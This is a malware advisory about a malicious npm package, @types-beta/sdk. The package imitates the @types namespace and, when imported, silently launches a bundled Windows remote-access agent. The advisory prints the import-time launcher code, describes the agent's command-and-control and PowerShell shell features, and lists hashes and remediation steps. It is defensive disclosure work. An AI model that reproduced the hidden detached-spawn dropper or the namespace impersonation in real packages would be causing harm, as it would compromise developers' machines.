⛔ Critical Malware Advisory Detected 2026-07-29
Confirmed malicious. codelake independently detected this at 2026-07-29 — No prior public OSV/CVE/GHSA record at time of writing.. Not yet in any public advisory database at detection time — codelake is the source of record. Independently detected in the codelake corpus; the package carried no OSV advisory when this was published.
Advisory · CLR-2026-3041

@types-beta/sdk — an import-time Windows RAT hiding behind the @types namespace

A malicious npm package that impersonates the trusted @types TypeScript-definitions scope. Simply importing it launches a bundled Windows remote-access agent — no install script, no user action.

CriticalConfirmed maliciousnative-binary dropperNovel — not in OSV
Summary

@types-beta/sdk ships a bundled Windows executable, vendor/nanocache.exe, and runs it as a side effect of importing the package. The @types-beta scope is a deliberate impersonation of npm's trusted @types namespace (DefinitelyTyped) to look like a routine type-definition dependency.

There is no postinstall hook — the trigger is the module's own import-time code, so any project that does import "@types-beta/sdk" (directly or transitively) executes the payload on Windows. Versions 0.1.0–0.1.3 are affected and the package is still live on npm at time of writing.

The smoking gun — dist/init.js
dist/init.js import-time launcher
1// index.js calls init() at import: `import "@types-beta/sdk"` runs this.
2if (process.platform !== "win32") return;
3const exePath = join(__dirname, "../vendor/nanocache.exe");
4const child = spawn(exePath, [], { detached: true, stdio: "ignore", windowsHide: true });
5child.unref(); // detach so it survives the parent; run hidden
What the payload does

Static analysis of nanocache.exe (a PE binary; we did not execute it) shows a WebSocket-based remote-access agent: it uses the WinHTTP WebSocket API (WinHttpWebSocketSend/Receive, WinHttpConnect, WinHttpSendRequest) to dial out to a command-and-control server and maintain a persistent, auto-reconnecting channel.

Its embedded strings describe an interactive operator interface — [agent] Connecting to %ls:%d (secure=%d), [+] Connected client=%s server=%ls, [>] cmd: %s, and [shell] PowerShell session started (UTF-8, pipeline mode) — i.e. remote command execution and a full interactive PowerShell shell, with [-] Disconnected, reconnecting in %dms... for resilience.

Indicators
📦npm: @types-beta/sdk — versions 0.1.0, 0.1.1, 0.1.2, 0.1.3 (live)
🗄Bundled binary: vendor/nanocache.exe (Windows PE) — sha256 9c7aaf7078a0e0de15a4855e541946b0952a024e84735f1ad39b0b91ad257851
#️⃣Tarball sha256 (0.1.3): b2e985dfc5a494c8bd2f6e2e7a22d35cc0964c0103a596de62e150c2df8097e2
Trigger: import-time side effect (dist/index.jsinit()), Windows only
🌐C2: outbound WinHTTP WebSocket, remote command exec + interactive PowerShell, auto-reconnect
If you depend on it
#ActionPriority
1 Remove @types-beta/sdk from every lockfile and package.json; it is NOT related to the legitimate @types (DefinitelyTyped) packages. Now
2 On any Windows host that installed/imported it, hunt for nanocache.exe and outbound WebSocket connections; treat the host as compromised (remote shell capable). Now
3 Rotate credentials reachable from affected developer/CI Windows machines. High

Detected by codelake Research's behavioral scanner via a new native-binary-dropper rule — a package-bundled native executable spawned detached/hidden from the package's own JavaScript. Reported to npm for takedown (2026-07-29); submitted to OpenSSF/OSV (ossf/malicious-packages PR #1410).